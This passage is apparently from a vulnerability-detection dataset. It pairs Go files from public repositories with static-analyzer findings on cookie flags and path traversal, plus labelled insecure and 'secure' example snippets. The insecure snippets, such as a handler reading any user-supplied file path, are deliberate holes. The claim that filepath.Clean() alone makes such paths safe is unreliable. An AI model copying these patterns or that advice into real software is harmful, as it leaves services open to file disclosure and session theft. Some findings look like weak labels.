util.RemoteIP(req),\n\t\t\t\tUserAgent: req.UserAgent(),\n\t\t\t}\n\n\t\t\tsession, err := core.createSession(session)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"failed to create a session for user %s@%s: %s\", user.Account, user.Backend, err)\n\t\t\t\tw.Header().Set(\"Location\", \"/\")\n\t\t\t} else if via == \"cli\" {\n\t\t\t\tw.Header().Set(\"Location\", fmt.Sprintf(\"/#!/cliauth:s:%s\", session.UUID.String()))\n\t\t\t} else {\n\t\t\t\tw.Header().Set(\"Location\", \"/\")\n\t\t\t\thttp.SetCookie(w, SessionCookie(session.UUID.String(), true))\n\t\t\t}\n\t\t\tw.WriteHeader(302)\n\n\t\t} else {\n\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\tName: \"via\",\n\t\t\t\tValue: m[2],\n\t\t\t\tPath: \"/auth\",\n\t\t\t})\n\t\t\tprovider.Initiate(w, req)\n\t\t}\n\t\treturn\n\n\tcase match(req, `GET /v1/ping`):\n\t\tcore.v1Ping(w, req)\n\t\treturn\n\n\tcase match(req, `GET /v1/status`):\n\t\tcore.v1Status(w, req)\n\t\treturn\n\n\tcase match(req, `GET /v1/meta/pubkey`):\n\t\tcore.v1GetPublicKey(w, req)\n\t\treturn\n\n\tcase match(req, `GET /v1/status/internal`):\n\t\tcore.v1DetailedStatus(w, req)\n\t\treturn\n\n\tcase match(req, `GET /v1/status/jobs`):\n\t\tcore.v1JobsStatus(w, req)\n\t\treturn\n\t}\n\n\tw.WriteHeader(501)\n}\n\nfunc match(req *http.Request, pattern string) bool {\n\tuuider := regexp.MustCompile(\":uuid\")\n\tpattern = uuider.ReplaceAllString(pattern, \"[a-fA-F0-9-]+\")\n\n\tmatched, _ := regexp.MatchString(\n\t\tfmt.Sprintf(\"^%s$\", pattern),\n\t\tfmt.Sprintf(\"%s %s\", req.Method, req.URL.Path))\n\treturn matched\n}\n\nfunc bail(w http.ResponseWriter, e error) {\n\tw.WriteHeader(500)\n\tlog.Errorf(\"Request bailed: <%s>\", e)\n}\n\nfunc bailWithError(w http.ResponseWriter, err JSONError) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(400)\n\tw.Write([]byte(err.JSON()))\n\tlog.Errorf(\"Request bailed: <%s>\", err)\n}\n\nfunc JSON(w http.ResponseWriter, thing interface{}) {\n\tbytes, err := json.Marshal(thing)\n\tif err != nil {\n\t\tlog.Errorf(\"Cannot marshal JSON: <%s>\\n\", err)\n\t\tw.WriteHeader(500)\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(200)\n\tw.Write(bytes)\n}\n\nfunc JSONLiteral(w http.ResponseWriter, thing string) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(200)\n\tw.Write([]byte(thing))\n}\n\nfunc paramEquals(req *http.Request, name string, value string) bool {\n\tactual, set := req.URL.Query()[name]\n\treturn set && actual[0] == value\n}\n\nfunc paramValue(req *http.Request, name string, defval string) string {\n\tvalue, set := req.URL.Query()[name]\n\tif set {\n\t\treturn value[0]\n\t}\n\treturn defval\n}\n\nfunc paramDate(req *http.Request, name string) *time.Time {\n\tvalue, set := req.URL.Query()[name]\n\tif !set {\n\t\treturn nil\n\t}\n\n\tt, err := time.Parse(\"20060102\", value[0])\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn &t\n}\n\nfunc (core *Core) mustBeUnlocked(w http.ResponseWriter) bool {\n\tstatus, err := core.vault.Status()\n\tif err != nil {\n\t\tbail(w, err)\n\t\treturn true\n\t}\n\tif status == \"unsealed\" {\n\t\treturn false\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(403)\n\tw.Write([]byte(ClientErrorf(\"Shield is currently locked\").JSON()))\n\treturn true\n}\n\nfunc (core *Core) initJS(w http.ResponseWriter, req *http.Request) {\n\tw.WriteHeader(200)\n\n\tfmt.Fprintf(w, \"// init.js\\n\")\n\tfmt.Fprintf(w, \"var $global = {}\\n\")\n\n\tconst unauthFail = \"// failed to determine user authentication state...\\n\"\n\tconst unauthJS = \"$global.auth = {\\\"unauthenticated\\\":true};\\n\"\n\n\tuser, err := core.DB.GetUserForSession(route.SessionID(req))\n\tif err != nil {\n\t\tlog.Errorf(\"init.js: failed to get user from session: %s\", err)\n\t\tfmt.Fprintf(w, unauthFail)\n\t\tfmt.Fprintf(w, unauthJS)\n\t\treturn\n\t}\n\n\tb, err := json.Marshal(core.checkInfo(user != nil))\n\tif err != nil {\n\t\tlog.Errorf(\"init.js: failed to marshal SHIELD core info into JSON: %s\", err)\n\t\tfmt.Fprintf(w, \"// failed to retrieve SHIELD core info...\\n\")\n\t\tfmt.Fprintf(w, \"$global.shield = {};\\n\")\n\t} else {\n\t\tfmt.Fprintf(w, \"$global.shield = %s;\\n\", string(b))\n\t}\n\n\tif user == nil {\n\t\tfmt.Fprintf(w, unauthJS)\n\t\treturn\n\t}\n\n\tid, err := core.checkAuth(user)\n\tif err != nil {\n\t\tlog.Errorf(\"init.js: failed to obtain tenancy info about user: %s\", err)\n\t\tfmt.Fprintf(w, unauthFail)\n\t\tfmt.Fprintf(w, unauthJS)\n\t\treturn\n\t}\n\tb, err = json.Marshal(id)\n\tif err != nil {\n\t\tlog.Errorf(\"init.js: failed to marshal auth id data into JSON: %s\", err)\n\t\tfmt.Fprintf(w, unauthFail)\n\t\tfmt.Fprintf(w, unauthJS)\n\t} else {\n\t\tfmt.Fprintf(w, \"$global.auth = %s;\\n\", string(b))\n\t}\n}\n\nfunc (core *Core) v1Ping(w http.ResponseWriter, req *http.Request) {\n\tJSON(w, struct {\n\t\tOK string `json:\"ok\"`\n\t}{\n\t\tOK: \"pong\",\n\t})\n}\n\nfunc (core *Core) v1GetPublicKey(w http.ResponseWriter, req *http.Request) {\n\tpub := core.agent.key.PublicKey()\n\tw.WriteHeader(200)\n\tfmt.Fprintf(w, \"%s %s\\n\", pub.Type(), base64.StdEncoding.EncodeToString(pub.Marshal()))\n}\n\nfunc (core *Core) v1Status(w http.ResponseWriter, req *http.Request) {\n\tstat := struct {\n\t\tVersion string `json:\"version,omitempty\"`\n\t\tName string `json:\"name\"`\n\t\tAPIVersion int `json:\"api_version\"`\n\t}{\n\t\tName: os.Getenv(\"SHIELD_NAME\"),\n\t\tAPIVersion: APIVersion,\n\t}\n\n\t//TODO: Once this is in v2, lock behind a check for auth\n\tstat.Version = Version\n\n\tJSON(w, &stat)\n}\n\nfunc (core *Core) v1DetailedStatus(w http.ResponseWriter, req *http.Request) {\n\tpending, err := core.DB.GetAllTasks(&db.TaskFilter{ForStatus: db.PendingStatus})\n\tif err != nil {\n\t\tbail(w, err)\n\t\treturn\n\t}\n\trunning, err := core.DB.GetAllTasks(&db.TaskFilter{ForStatus: db.RunningStatus})\n\tif err != nil {\n\t\tbail(w, err)\n\t\treturn\n\t}\n\tJSON(w, struct {\n\t\tPendingTasks []*db.Task `json:\"pending_tasks\"`\n\t\tRunningTasks []*db.Task `json:\"running_tasks\"`\n\t}{\n\t\tPendingTasks: pending,\n\t\tRunningTasks: running,\n\t})\n}\n\ntype v1jobhealth struct {\n\tName string `json:\"name\"`\n\tLastRun int64 `json:\"last_run\"`\n\tNextRun int64 `json:\"next_run\"`\n\tPaused bool `json:\"paused\"`\n\tStatus string `json:\"status\"`\n}\n\nfunc (core *Core) v1JobsStatus(w http.ResponseWriter, req *http.Request) {\n\tjobs, err := core.DB.GetAllJobs(&db.JobFilter{})\n\tif err != nil {\n\t\tbail(w, err)\n\t\treturn\n\t}\n\n\thealth := make(map[string]v1jobhealth)\n\tfor _, j := range jobs {\n\t\tj.Reschedule() /* not really, just enough to get NextRun */\n\t\thealth[j.Name] = v1jobhealth{\n\t\t\tName: j.Name,\n\t\t\tPaused: j.Paused,\n\t\t\tLastRun: j.LastRun,\n\t\t\tNextRun: j.NextRun,\n\t\t\tStatus: j.LastTaskStatus,\n\t\t}\n\t}\n\n\tJSON(w, health)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 61, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "61"}}, {"lineNo": 65, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "a4f98dc4f303ae4076ae0036ab3577bc793cd7faa88a72facda11bef3c86eff7", "license": {"spdx": ["MIT"], "repo": "SamHennessy/hlive", "path": "_example/session/session.go", "repo_head_hexsha": "bdda885346adea667d1ea6bf7cb08a5b80ea068a", "stack_hexsha": "88e5a31f8c5fa76a43a66d86e9af66e19e3f53be", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 67, "entireCode": "package main\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"log\"\n\t\"net/http\"\n\n\tl \"github.com/SamHennessy/hlive\"\n\t\"github.com/rs/xid\"\n)\n\nfunc main() {\n\ts := newService()\n\n\thttp.HandleFunc(\"/\", sessionMiddleware(home(s).ServeHTTP))\n\n\tlog.Println(\"INFO: listing :3000\")\n\n\tif err := http.ListenAndServe(\":3000\", nil); err != nil {\n\t\tlog.Println(\"ERRO: http listen and serve: \", err)\n\t}\n}\n\nfunc home(s *service) *l.PageServer {\n\tf := func() *l.Page {\n\t\tpage := l.NewPage()\n\t\tpage.DOM.Title.Add(\"HTTP Session Example\")\n\t\tpage.DOM.Head.Add(l.T(\"link\", l.Attrs{\"rel\": \"stylesheet\", \"href\": \"https://cdn.simplecss.org/simple.min.css\"}))\n\n\t\tpage.DOM.Body.Add(\n\t\t\tl.T(\"header\",\n\t\t\t\tl.T(\"h1\", \"HTTP Session\"),\n\t\t\t\tl.T(\"p\", \"You can use middleware to implement a persistent session.\"),\n\t\t\t),\n\t\t\tl.T(\"main\",\n\t\t\t\tl.T(\"p\", \"Enter a message, then open another tab to see it there.\"),\n\t\t\t\tl.T(\"h2\", \"Your Message\"),\n\t\t\t\tnewMessage(s),\n\t\t\t\tl.T(\"p\", \"This example uses a cookie and server memory to persist between page reloads but not server reloads. Changes are not synced between tabs in real-time.\"),\n\t\t\t\tl.T(\"p\", \"Be careful when testing in Firefox, as it will keep the current form value on refresh.\"),\n\t\t\t),\n\t\t)\n\n\t\treturn page\n\t}\n\n\treturn l.NewPageServer(f)\n}\n\ntype ctxKey string\n\nconst sessionKey ctxKey = \"session\"\n\nfunc sessionMiddleware(h http.HandlerFunc) http.HandlerFunc {\n\tcookieName := \"hlive_session\"\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tvar sessionID string\n\n\t\tcook, err := r.Cookie(cookieName)\n\n\t\tswitch {\n\t\tcase errors.Is(err, http.ErrNoCookie):\n\t\t\tsessionID = xid.New().String()\n\n\t\t\thttp.SetCookie(w,\n\t\t\t\t&http.Cookie{Name: cookieName, Value: sessionID, Path: \"/\", SameSite: http.SameSiteStrictMode})\n\t\tcase err != nil:\n\t\t\tlog.Println(\"ERROR: get cookie: \", err.Error())\n\t\tdefault:\n\t\t\tsessionID = cook.Value\n\t\t}\n\n\t\tr = r.WithContext(context.WithValue(r.Context(), sessionKey, sessionID))\n\n\t\th(w, r)\n\t}\n}\n\nfunc getSessionID(ctx context.Context) string {\n\tval, _ := ctx.Value(sessionKey).(string)\n\n\treturn val\n}\n\nfunc newService() *service {\n\treturn &service{userMessage: map[string]string{}}\n}\n\ntype service struct {\n\tuserMessage map[string]string\n}\n\nfunc (s *service) SetMessage(userID, message string) {\n\ts.userMessage[userID] = message\n}\n\nfunc (s *service) GetMessage(userID string) string {\n\treturn s.userMessage[userID]\n}\n\nfunc newMessage(service *service) *message {\n\tc := &message{\n\t\tComponent: l.C(\"textarea\"),\n\t\tservice: service,\n\t}\n\n\tc.Add(l.On(\"input\", func(ctx context.Context, e l.Event) {\n\t\tc.service.SetMessage(getSessionID(ctx), e.Value)\n\t}))\n\n\treturn c\n}\n\ntype message struct {\n\t*l.Component\n\n\tMessage string\n\n\tservice *service\n}\n\nfunc (c *message) Mount(ctx context.Context) {\n\tc.Message = c.service.GetMessage(getSessionID(ctx))\n}\n\nfunc (c *message) GetNodes() *l.NodeGroup {\n\treturn l.Group(c.Message)\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 64, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "65"}}, {"lineNo": 67, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "d360232dc22392b6f33d230c207fcd291579e4bbc8f56470d5ac241937729a05", "license": {"spdx": ["MIT"], "repo": "ramiayoub-priv/surf", "path": "browser/browser_test.go", "repo_head_hexsha": "cb99de50e5511cc875d52f3b7e4208a15f0877e7", "stack_hexsha": "5cc6a6d470798ab605115f0a1df78bb87cb2270a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Cookie Flag Setting", "issueDescriptionEn": "Cookie settings should be properly managed in web application development. When the cookies are not properly set, this can lead to security vulnerabilities such as Session hijacking, XSS, and CSRF. To protect your cookies against the attacks, set secure cookie flags i.e. Secure, HttpOnly, SameSite.\n\n1. Secure: The Secure flag ensures that cookies are sent only over the HTTPS protocol. Therefore, it will prevent cookie information from being exposed by man-in-the-middle attacks.\n2. HttpOnly: Enabling the HttpOnly flag prevents cookies from being accessed via JavaScript, enhancing protection against XSS attacks.\n3. SameSite: The SameSite flag bans sending cookies with cross-site requests, thereby protecting the cookies against CSRF attacks.\nIn Go, you can use the `http.SetCookie` function in the `net/http` package to configure secure cookie flags. The `Secure` and `HttpOnly` flags should always be set to `true`, and it is safe to set the `SameSite` flag to `Lax` or stricter.", "issueLineNumber": 110, "entireCode": "package browser\n\nimport (\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/ramiayoub-priv/surf/agent\"\n\t\"github.com/ramiayoub-priv/surf/jar\"\n)\n\nfunc newDefaultTestBrowser() *Browser {\n\tbow := &Browser{}\n\tbow.SetUserAgent(agent.Create())\n\tbow.SetState(&jar.State{})\n\tbow.SetCookieJar(jar.NewMemoryCookies())\n\tbow.SetBookmarksJar(jar.NewMemoryBookmarks())\n\tbow.SetHistoryJar(jar.NewMemoryHistory())\n\tbow.SetHeadersJar(jar.NewMemoryHeaders())\n\tbow.SetAttributes(AttributeMap{\n\t\tSendReferer: true,\n\t\tMetaRefreshHandling: true,\n\t\tFollowRedirects: true,\n\t})\n\treturn bow\n}\n\n// TestRedirect\n// See: https://github.com/ramiayoub-priv/surf/pull/18\nfunc TestRedirect(t *testing.T) {\n\tts0 := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.URL.Path {\n\t\tcase \"/\":\n\t\t\tio.WriteString(w, `\n
\n\t\n
\n`)\n\t\tcase \"/foo\":\n\t\t\thttp.Error(w, \"Unimplemented\", 500)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer ts0.Close()\n\n\tts1 := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.URL.Path {\n\t\tcase \"/\":\n\t\t\tt.Logf(\"Redirecting to %s\", ts0.URL)\n\t\t\tw.Header().Set(\"Location\", ts0.URL)\n\t\t\tw.WriteHeader(302)\n\t\tdefault:\n\t\t\thttp.Error(w, \"Not found\", 404)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer ts1.Close()\n\n\t// First, a sanity check using the default http.Client\n\tclient := http.Client{\n\t\tCheckRedirect: func(_ *http.Request, _ []*http.Request) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\tresp, err := client.Get(ts1.URL)\n\tif err != nil {\n\t\tt.Errorf(\"(sanity) Failed to open url: %s\", ts1.URL)\n\t\treturn\n\t}\n\n\tif resp.Request.URL.String() != ts0.URL {\n\t\tt.Errorf(\"Expected redirect to have happened\")\n\t\treturn\n\t}\n\t// If we got here, then we know that redirects are correctly working\n\n\t// Alright, now let's see if the browser does the same thing\n\tb := newDefaultTestBrowser()\n\n\tif err := b.Open(ts1.URL); err != nil {\n\t\tt.Errorf(\"Failed to open url: %s\", ts1.URL)\n\t\treturn\n\t}\n\n\tif b.Url().String() != ts0.URL {\n\t\tt.Errorf(\"Error: Redirects are not being recorded?\")\n\t\treturn\n\t}\n}\n\n// TestCookieHeader ensures that headers are not shared/merged across\n// requests.\nfunc TestCookieHeader(t *testing.T) {\n\tcalls := 0\n\tts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tcalls++\n\n\t\tcookie, err := r.Cookie(\"c\")\n\t\tif err == http.ErrNoCookie {\n\t\t\terr = nil\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tswitch r.URL.Path {\n\t\tcase \"/cookie\":\n\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\tName: \"c\", Value: \"v\",\n\t\t\t\tExpires: time.Now().Add(time.Hour),\n\t\t\t\tPath: \"/cookie\",\n\t\t\t})\n\t\t\tif r.URL.Query().Get(\"check\") != \"\" && cookie == nil {\n\t\t\t\tt.Errorf(\"got no cookie\")\n\t\t\t}\n\n\t\tcase \"/\":\n\t\t\tif cookie != nil {\n\t\t\t\tt.Errorf(\"got cookie %v, want no cookie\", cookie)\n\t\t\t}\n\t\t}\n\t}))\n\tdefer ts.Close()\n\n\tb := newDefaultTestBrowser()\n\tif err := b.Open(ts.URL + \"/cookie\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := b.Open(ts.URL + \"/cookie?check=1\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := b.Open(ts.URL + \"/\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif want := 3; calls != want {\n\t\tt.Errorf(\"got %d calls, want %d\", calls, want)\n\t}\n}\n\n// Should inherit the configuration into a new instance\nfunc TestTabInheritance(t *testing.T){\n\tbow1 := newDefaultTestBrowser()\n\tbow2 := newDefaultTestBrowser()\n\n\t// Set different options and properties\n\tbow1.SetUserAgent(\"Mozilla/5.0 (X11; U; Linux; cs-CZ) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) rekonq\")\n\tbow1.SetAttributes(AttributeMap{\n\t\tSendReferer: true,\n\t\tMetaRefreshHandling: false,\n\t\tFollowRedirects: true,\n\t})\n\tbow1.SetAttribute(1, true)\n\tbow1.SetAttribute(2, false)\n\tbow1.SetAttribute(3, true)\n\tbow1.SetState(&jar.State{})\n\tbow1.SetBookmarksJar(jar.NewMemoryBookmarks())\n\tbow1.SetCookieJar(jar.NewMemoryCookies())\n\tbow1.SetHistoryJar(jar.NewMemoryHistory())\n\tbow1.SetHeadersJar(make(http.Header, 20))\n\n\t// Create a new browser\n\tbow3 := bow1.NewTab()\n\tif bow1 == bow3{\n\t\tt.Fatal(\"Tab did not create a new browser\")\n\t}\n\n\tbow2 = bow1.NewTab()\n\tif bow1 == bow2 {\n\t\tt.Fatal(\"Tab did not create a new clone, just a reference\")\n\t}\n\n\t// Check properties\n\tif bow1.userAgent != bow2.userAgent {\n\t\tt.Fatal(\"Tab did not copy the userAgent\")\n\t}\n\n\tfor k,v := range bow1.attributes {\n\t\tif bow1.attributes[k] != bow2.attributes[k]{\n\t\t\tt.Errorf(\"Tab did not copy the %v attribute\", v)\n\t\t}\n\t}\n\n\tif bow1.State() != bow2.State(){\n\t\tt.Fatal(\"Tab did not copy the state\")\n\t}\n\n\tif bow1.BookmarksJar() != bow2.BookmarksJar(){\n\t\tt.Fatal(\"Tab did not copy the BookmarksJar\")\n\t}\n\n\tif bow1.CookieJar() != bow2.CookieJar(){\n\t\tt.Fatal(\"Tab did not copy the CookieJar\")\n\t}\n\n\tif bow1.HistoryJar() != bow2.HistoryJar(){\n\t\tt.Fatal(\"Tab did not copy the HistoryJar\")\n\t}\n\n\tif len(bow1.headers) != len(bow2.headers){\n\t\tt.Fatal(\"Tab did not copy the HeadersJar\")\n\t}\n\n\tif bow1.client.Transport != bow2.client.Transport {\n\t\tt.Fatal(\"Tab did not copy the transport method\")\n\t}\n}", "dangerousExampleEn": "1. func Dan_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tPath: \"/\",\n6. \t\tMaxAge: 60 * 60 * 24 * 365,\n7. \t}\n8. \thttp.SetCookie(c.Writer, cookie)\n9. \tc.String(http.StatusOK, \"success\")\n10. }\nLine 8: This is insecure because the application is exposed to multiple vulnerabilities due to the undeclared secure cookie flags.", "safeExampleEn": "1. func Safe_Cookie(c *gin.Context) {\n2. \tcookie := &http.Cookie{\n3. \t\tName: \"test_Cookie\",\n4. \t\tValue: \"test\",\n5. \t\tHttpOnly: true,\n6. \t\tSecure: true,\n7. \t\tPath: \"/\",\n8. \t\tMaxAge: 60 * 60,\n9. \t\tSameSite: http.SameSiteStrictMode,\n10. \t}\n11. \thttp.SetCookie(c.Writer, cookie)\n12. \tc.String(http.StatusOK, \"success\")\n13. }\nLine 11: This is secure because the Secure, HttpOnly, and SameSite flags are securely configured in the cookie settings.", "contexts": [{"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "110"}}, {"lineNo": 110, "eventType": "sink", "messageKey": "gochk.IMPROPER_COOKIE_FLAG_SETTING.GO.defect", "params": {}}]}} {"id": "17cec854dd0c26b4376ff5de08b1c966d7edf88b59a73f63cf62598b93b013ca", "license": {"spdx": ["MIT"], "repo": "vkuznet/TFaaS", "path": "src/Go/converter/main.go", "repo_head_hexsha": "93bda0c0638ba59df74f614523752d83a6ec0d61", "stack_hexsha": "0feb47ccafaadd7dd1180598627efaad253074e3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 19, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\n\ttf \"github.com/galeone/tensorflow/tensorflow/go\"\n)\n\n// helper function to load TF model\nfunc loadModel(fname, flabels string) (*tf.Graph, []string, error) {\n\tvar labels []string\n\tgraph := tf.NewGraph()\n\t// Load inception model\n\tmodel, err := ioutil.ReadFile(fname)\n\tif err != nil {\n\t\treturn graph, labels, err\n\t}\n\tif err := graph.Import(model, \"\"); err != nil {\n\t\tlog.Println(\"unable to import graph model\", err)\n\t\treturn graph, labels, err\n\t}\n\t// Load labels\n\tlabelsFile, err := os.Open(flabels)\n\tif err != nil {\n\t\treturn graph, labels, err\n\t}\n\tdefer labelsFile.Close()\n\tscanner := bufio.NewScanner(labelsFile)\n\t// Labels are separated by newlines\n\tfor scanner.Scan() {\n\t\tlabels = append(labels, scanner.Text())\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\treturn graph, labels, err\n\t}\n\tlog.Println(\"load TF model\", fname, flabels)\n\treturn graph, labels, nil\n}\n\nfunc main() {\n\tvar modelFile string\n\tflag.StringVar(&modelFile, \"modelFile\", \"\", \"input file name\")\n\tvar output string\n\tflag.StringVar(&output, \"output\", \"\", \"output file name\")\n\tvar labelFile string\n\tflag.StringVar(&labelFile, \"labelFile\", \"\", \"labelFile file name\")\n\tflag.Parse()\n\n\tgraph, _, err := loadModel(modelFile, labelFile)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n\tsGraph := \"\"\n\tfor _, op := range graph.Operations() {\n\t\tfmt.Println(op.Name(), op.Type(), op.NumOutputs())\n\t\tfor i := 0; i < op.NumOutputs(); i++ {\n\t\t\tfor _, c := range op.Output(i).Consumers() {\n\t\t\t\tfmt.Println(\"consumer\", c.Index)\n\t\t\t}\n\t\t\tif sGraph != \"\" {\n\t\t\t\tsGraph = fmt.Sprintf(\"%s -> %s(%s)\", sGraph, op.Name(), op.Output(i).Shape())\n\t\t\t} else {\n\t\t\t\tsGraph = fmt.Sprintf(\"%s(%s)\", op.Name(), op.Output(i).Shape())\n\t\t\t}\n\t\t}\n\t}\n\tfmt.Println(\"TF graph: \", sGraph)\n\n\tfile, err := os.Create(output)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n\tdefer file.Close()\n\twriter := bufio.NewWriter(file)\n\n\tnbytes, err := graph.WriteTo(writer)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Println(\"wrote\", nbytes, \"bytes\")\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 19, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "3b7ca9860041d6e2bffad3a476bd69a54e02e1ef53556c522826d6d675d15f8c", "license": {"spdx": ["MIT"], "repo": "prmsrswt/gophercises", "path": "adventure/cmd/advcmd/cmd.go", "repo_head_hexsha": "76a21d3f7b9d849d55f87cc3e1f2e094bbb9d887", "stack_hexsha": "e0c63c019db367e4e164bb925886a0554aa4b95c", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 27, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"runtime\"\n\t\"text/template\"\n\n\t\"github.com/prmsrswt/gophercises/adventure\"\n)\n\nvar (\n\tstoryPath string\n\ttpl *template.Template\n)\n\nfunc init() 